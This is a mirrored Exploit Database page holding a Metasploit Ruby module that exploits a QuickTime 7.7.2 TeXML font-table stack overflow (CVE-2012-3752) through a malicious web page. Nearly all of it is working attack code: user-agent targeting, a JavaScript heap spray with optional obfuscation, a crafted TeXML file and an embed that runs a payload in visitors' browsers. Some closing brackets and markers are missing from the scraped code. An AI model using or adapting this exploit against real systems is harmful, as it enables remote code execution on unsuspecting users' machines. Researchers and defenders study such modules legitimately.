Apple QuickTime 7.7.2 – TeXML Style Element font-table Field Stack Buffer Overflow (Metasploit)

Exploit Database
137 阅读

作者： Metasploit

日期： 2012-11-24
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/22905/

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# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

# http://metasploit.com/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::Remote::BrowserAutopwn

autopwn_info({

:os_name=> OperatingSystems::WINDOWS,

:javascript => true,

:rank => NormalRanking

})

def initialize(info = {})

super(update_info(info,

'Name' => 'Apple QuickTime 7.7.2 TeXML Style Element font-table Field Stack Buffer Overflow',

'Description'=> %q{

This module exploits a vulnerability found in Apple QuickTime. When handling

a TeXML file, it is possible to trigger a stack-based buffer overflow, and then

gain arbitrary code execution under the context of the user.This is due to the

QuickTime3GPP.gtx component not handling certain Style subfields properly, as the

font-table field, which is used to trigger the overflow in this module. Because of

QuickTime restrictions when handling font-table fields, only 0x31-0x39 bytes can be

used to overflow, so at the moment DEP/ASLR bypass hasn't been provided. The module

has been tested successfully on IE6 and IE7 browsers (Windows XP and Vista).

'Author' =>

[

'Arezou Hosseinzad-Amirkhizi', # Vulnerability Discovery

'juan vazquez' # Metasploit Module

'License'=> MSF_LICENSE,

'References' =>

[

[ 'OSVDB', '87087' ],

[ 'CVE', '2012-3752' ],

[ 'BID', '56557' ],

[ 'URL', 'http://support.apple.com/kb/HT5581' ]

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'InitialAutoRunScript' => 'migrate -f'

'Payload'=>

{

'Space' => 1000,

'Platform' => 'win',

'Targets'=>

[

# Tested with QuickTime 7.7.2

[ 'Automatic', {} ],

[ 'IE 6 on Windows XP SP3', {} ],

[ 'Firefox 3.5 on Windows XP SP3', {} ],

[ 'Firefox 3.5.1 on Windows XP SP3', {} ]

'Privileged' => false,

'DisclosureDate' => 'Nov 07 2012',

'DefaultTarget'=> 0))

register_options(

[

OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])

], self.class)

end

def get_target(agent)

#If the user is already specified by the user, we'll just use that

return target if target.name != 'Automatic'

nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''

browser_name = ""

if agent =~ /MSIE/

browser_version = agent.scan(/MSIE (\d)/).flatten[0] || ''

browser_name = "IE #{browser_version}"

elsif agent =~ /Firefox\/3.5$/

browser_name = "Firefox 3.5 "

elsif agent =~ /Firefox\/3.5.1$/

browser_name = "Firefox 3.5.1"

elsif agent =~ /Opera\/9/

browser_name = "Opera"

end

case nt

when '5.1'

os_name = 'Windows XP SP3'

when '6.0'

os_name = 'Windows Vista'

when '6.1'

os_name = 'Windows 7'

end

targets.each do |t|

if (!browser_name.empty? and t.name.include?(browser_name)) and (!nt.empty? and t.name.include?(os_name))

print_status("Target selected as: #{t.name}")

return t

end

return nil

end

def on_request_uri(client, request)

return if ((p = regenerate_payload(client)) == nil)

agent = request.headers['User-Agent']

my_target = get_target(agent)

# Avoid the attack if no suitable target found

if my_target.nil?

print_error("Browser not supported, sending 404: #{agent}")

send_not_found(cli)

return

end

if request.uri =~ /\.3gp/

print_status("Sending exploit TEXML (target: #{my_target.name})")

my_payload = "1" * (1024*16)

texml = <<-eos

<?xml version="1.0"?>

<?quicktime type="application/x-quicktime-texml"?>

<text3GTrack trackWidth="176.0" trackHeight="60.0" layer="1"

language="eng" timeScale="600"

transform="matrix(1.0, 0.0, 0.0, 0.0, 1.0, 0.0, 1, 0, 1.0)">

<description format="tx3g" displayFlags="ScrollIn"

horizontalJustification="Left"

verticalJustification="Top"

backgroundColor="0%, 0%, 0%, 100%">

</fontTable>

{font-table: #{my_payload}}

{font-style:normal}

{font-weight: normal}

{font-size:10}

{line-height: 100%}

{text-align: right}

{text-decoration: underline}

{color: 100%, 100%, 100%, 100%}

{backgroundcolor: 100%, 100%, 100%, 100%}

</style>

</sharedStyles>

</description>

<sampleData scrollDelay="200"

highlightColor="25%, 45%, 65%, 100%"

targetEncoding="utf8">

<text styleID="1">What you need... Metasploit!</text>

</sampleData>

</sample>

</text3GTrack>

eos

send_response(client, texml, { 'Content-Type' => "application/x-quicktime-texml" })

else

print_status("Sending initial HTML")

url =((datastore['SSL']) ? "https://" : "http://")

url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST'])

url << ":" + datastore['SRVPORT'].to_s

url << get_resource

fname = rand_text_alphanumeric(4)

#ARCH used by the victim machine

arch = Rex::Arch.endian(my_target.arch)

nops = Rex::Text.to_unescape("\x0c\x0c\x0c\x0c", arch)

code = Rex::Text.to_unescape(payload.encoded, arch)

# Spray puts payload on 0x31313131

if my_target.name =~ /IE/

spray = <<-JS

var heap_obj = new heapLib.ie(0x20000);

var code = unescape("#{code}");

var nops = unescape("#{nops}");

while (nops.length < 0x80000) nops += nops;

var offset = nops.substring(0, 0x800 - code.length);

var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

while (shellcode.length < 0x40000) shellcode += shellcode;

var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();

for (var i=0; i < 1600; i++) {

heap_obj.alloc(block);

}

#Use heaplib

js_spray = heaplib(spray)

#obfuscate on demand

if datastore['OBFUSCATE']

js_spray = ::Rex::Exploitation::JSObfu.new(js_spray)

js_spray.obfuscate

end

else

js_spray = <<-JS

var shellcode = unescape("#{code}");

var bigblock = unescape("#{nops}");

var headersize = 20;

var slackspace = headersize + shellcode.length;

while (bigblock.length < slackspace) bigblock += bigblock;

var fillblock = bigblock.substring(0,slackspace);

var block = bigblock.substring(0,bigblock.length - slackspace);

while (block.length + slackspace < 0x40000) block = block + block + fillblock;

var memory = new Array();

for (i = 0; i < 750; i++){ memory[i] = block + shellcode }

end

content ="<html>"

content << <<-JSPRAY

<head>

#{js_spray}

</script>

</head>

JSPRAY

content << "<body>"

content << <<-ENDEMBED

<OBJECT

CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"

WIDTH="1"

HEIGHT="1"

CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab">

<EMBED

SRC= "https://www.exploit-db.com/exploits/22905/#{url}/#{fname}.3gp"

QTSRC= "#{url}/#{fname}.3gp"

TARGET = "myself"

WIDTH= "1"

HEIGHT = "1"

AUTOPLAY = "true"

PLUGIN = "quicktimeplugin"

TYPE = "video/quicktime"

CACHE= "false"

PLUGINSPAGE= "http://www.apple.com/quicktime/download/" >

</EMBED>

</OBJECT>

ENDEMBED

content << "</body></html>"

send_response(client, content, { 'Content-Type' => "text/html" })

end

=begin

* Routine checking only for '1'-'9' chars for the vaules on the vulnerable style fields (font-table, font-size and line-height)

int __fastcall sub_67EED2B0(int a1, int a2)

{

int result; // eax@1

unsigned __int8 v3; // cl@2

for ( result = 0; ; ++result )

{

v3 = *(_BYTE *)a2++ - 0x30;

if ( v3 > 9u )

break;

}

return result;

}

=end